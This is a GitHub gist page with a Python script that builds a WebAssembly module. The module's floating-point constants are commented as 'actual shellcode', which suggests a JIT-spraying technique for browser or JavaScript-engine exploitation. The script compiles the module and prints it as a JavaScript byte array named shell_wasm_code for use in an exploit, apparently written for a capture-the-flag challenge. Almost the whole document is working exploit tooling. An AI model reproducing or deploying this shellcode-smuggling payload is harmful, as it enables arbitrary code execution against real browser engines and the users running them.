-
-
Save jopraveen/b3a55a7a3c81b89e04b70b447f71c0a8 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| let_wat_code = ''' | |
| (module | |
| (func (export "main") (result f64) | |
| ;; random values to skip the first 8 sets | |
| f64.const -1.1434324392442428853e-117 | |
| f64.const -5.4434324392442428853e-127 | |
| f64.const -11.1434124392442428853e-137 | |
| f64.const -13.14364224392442428853e-417 | |
| f64.const -8.1434324392442428853e-217 | |
| f64.const -9.14343124392442428853e-917 | |
| f64.const -4.1434324392442428853e-147 | |
| f64.const -3.1434324392442428853e-207 | |
| ;; actual shellcode start | |
| f64.const -1.1724392442428853e-117 | |
| f64.const -0.12400912772790662 | |
| f64.const -1.0023968399475393e+120 | |
| f64.const -5.174445551559503e+245 | |
| f64.const 8.309884721501063e-246 | |
| f64.const 2.0924531835600378e-110 | |
| f64.const 3.5295369634097827e+30 | |
| f64.const 4.034879290548565e+175 | |
| f64.const -9.77719779008621e-292 | |
| f64.const -5.277350363223755e-137 | |
| f64.const -1.9612807710381365e+23 | |
| f64.const -4.9817023151384955e+187 | |
| f64.const 3.8821145718632853e-265 | |
| f64.const 4.4758696769951266e-91 | |
| f64.const 3.6444951709413225e+88 | |
| f64.const 2.068297493580264e+272 | |
| f64.const -2.30331050166288e-156 | |
| f64.const -6.133055897101714e+37 | |
| f64.const -6.566363168750116e+231 | |
| f64.const 3.981541606241111e-183 | |
| f64.const 5.114004751207929e+24 | |
| f64.const 4.30382473625031e+236 | |
| f64.const -7.34464135620729e-164 | |
| f64.const -2.654895332442896e+58 | |
| f64.const -6.289332227853732e+284 | |
| f64.const 9.704054915669948e-101 | |
| f64.const 8.245485260873783e+136 | |
| f64.const -1.4664329490878978e-238 | |
| f64.const -595821095.8383867 | |
| f64.const -1.6882786039365283e+260 | |
| f64.const 1.4260257437024718e-105 | |
| f64.const 1.756580575854837e+156 | |
| f64.const -5.049755153600189e-195 | |
| f64.const -2.877513248287838e+76 | |
| f64.const 5.686073733779537e-270 | |
| f64.const 156842099753.8388 | |
| f64.const 3.0133492021078014e+296 | |
| f64.const -1.2683641054452799e-30 | |
| f64.const -1.1570099352819256e+265 | |
| f64.const 3.2186700958407686e-57 | |
| f64.const 5.5483866055790415e-232 | |
| f64.const 1.3598939839597583e+248 | |
| f64.const -1.2260560273454382e-59 | |
| f64.const -2.4583437397837596e+255 | |
| f64.const 1.519790613351317e-47 | |
| f64.const 1.4111782155483925e+277 | |
| f64.const -1.5026174752884968e-14 | |
| f64.const 5.377941070102667e-299 | |
| f64.const 1.652515893570588e+40 | |
| f64.const -9.92555940965171e-234 | |
| f64.const -1.4203190632527362e+115 | |
| f64.const 5.992776152677602e-154 | |
| f64.const 4.086844197172045e+204 | |
| f64.const -5.63151387245987e-50 | |
| f64.const 7.778715313007261e-304 | |
| f64.const 1.6213710990532128e+69 | |
| f64.const -7.263480274143899e-171 | |
| f64.const -7.343558892089717e+211 | |
| f64.const 2.2525263418379107e-23 | |
| f64.const -3.189955872495227e-248 | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| ;; actual shellcode end | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| drop | |
| )) | |
| ''' | |
| open('exp.wat','w').write(let_wat_code) | |
| os.system('./wat2wasm exp.wat') | |
| wasm_bytes = open('exp.wasm','rb').read() | |
| print('let shell_wasm_code = new Uint8Array([',end=' ') | |
| for byte in wasm_bytes: | |
| print(byte,end=', ') | |
| print(']);') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment